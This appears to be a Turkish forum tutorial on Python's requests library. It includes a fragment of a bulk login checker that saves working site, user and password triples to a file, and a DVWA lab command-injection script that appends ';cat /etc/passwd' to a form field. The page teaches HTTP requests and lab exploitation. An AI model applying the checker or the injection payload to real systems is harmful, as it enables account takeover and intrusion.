Bir sessions oluşturulması ve session'u r değerine atanması.
Python:
r = requests.session()
[CENTER][B][COLOR=rgb(255, 255, 255)][SIZE=4]POST requests kullanarak belirtilen siteye data ile beraber isteğin gönderilmesi.[/SIZE][/COLOR][/B]
[COLOR=rgb(255, 255, 255)][SIZE=4][B][/B][/SIZE][/COLOR]
[B][COLOR=rgb(255, 255, 255)][SIZE=4]Basit hata ayıklamalar.[/SIZE][/COLOR][/B][/CENTER]
[CODE=python]try:
response = r.post(url=f"{Site}/login/?login_only=1", data=login_data, allow_redirects=True, timeout=15)
response.raise_for_status()
loginresponse = response.json()
except requests.RequestException as e:
print(Fore.RED + f"[-] Error sending request to --> {Site}: {e}")
continue
except json.JSONDecodeError:
print(Fore.RED + f"[-] Error decoding JSON response from --> {Site}")
continue
Response'dan gelen status değerinin 1 olup olmadığının kontrol edilmesi, ardından 1 ise 'site|user|pass' şeklinde succes.txt dosyasına kaydedilmesi. Son olarak en baştaki dosya isminin istenmesi ve ana fonksiyonun çağırılması.
Python:
if loginresponse.get('status') == 1:
print(Fore.GREEN + f"[+] Send request successful --> {Site}")
with open("success.txt", "a", encoding="utf-8") as file:
file.write(f"{Site}|{User_Name}|{Password}\n")
File_Name = input(Fore.BLUE + "Enter a File name: ")
main()
![ctf0sk9.png](https://i.hizliresim.com/ctf0sk9.png)
![umBqNLP.png](https://i.imgur.com/umBqNLP.png)
DVWA Exploit kısmına geçiyorum
Requests biraz da deneme yanılma yoluyla biraz araştırma gerektirir. Bu tür kodları tam anlamıyla okuyabilmek için yeni başlayan kişilere pek önermem, bu tür basit de olsa exploit vesaire işleri.
Python:
import requests
# URL of the page vulnerable to command injection
url = "DVWA command injection Page"
# Payload for command injection to be executed
payload = "cat /etc/passwd"
# Headers to be included in the HTTP request
header = {
"Cookie": "security=low; PHPSESSID=0k6634cfi19e5sfn2vb754uns6"
}
# Data to be sent with the POST request
data = {"ip": "127.0.0.1;" + payload, "Submit": "Submit"}
def main():
# Sending an HTTP POST request
response = requests.post(url=url, data=data, headers=header)
# Checking the server's response
if "www-data" in str(response.content):
print("Command injection vulnerability found!")
# Calling the main function
main()
Gelelim "PUT" ve "DELETE" isteklerine
Değiştirmek istediğimiz verileri aynı formatta yazıyoruz ve isteği endpoint'a atıyoruz. Aynı şey DELETE içinde geçerli.
Değiştirmek istediğimiz verileri aynı formatta yazıyoruz ve isteği endpoint'a atıyoruz. Aynı şey DELETE içinde geçerli.
Python:
import requests
get_url = "https://jsonplaceholder.typicode.com/todos/20"
to_do_item_20 = {"userId": 25, "title": "put title", "completed": False}
put_response = requests.put(get_url, json=to_do_item_20)
print("\nPUT Response:")
print(put_response.json())
Delete
Python:
import requests
get_url = "https://jsonplaceholder.typicode.com/todos/20"
delete_response = requests.delete(get_url)
print("\nDELETE Response:")
print(delete_response.json())
print("Status code:", delete_response.status_code)
Konu bu kadardı. Ben ve eşşek okuduğunuz için minnettar. Konuyu ne kadar çok beğenirseniz, @Kruvazör bana o kadar fazla maaş yatıracak.
Daha fazla detay için...
![pypi.org](https://pypi.org/static/images/twitter.abaf4b19.webp)
![realpython.com](https://files.realpython.com/media/Python-Requests-Library-Tutorial_Watermarked.3c9dfdc7b014.jpg)
Python's Requests Library (Guide) – Real Python
In this tutorial on Python's Requests library, you'll see some of the most useful features that Requests has to offer as well as ways to customize and optimize those features. You'll learn how to use requests efficiently and stop requests to external services from slowing down your application.
![realpython.com](https://realpython.com/static/favicon.68cbf4197b0c.png)
![p0qbke2.png](https://i.hizliresim.com/p0qbke2.png)
Son düzenleme: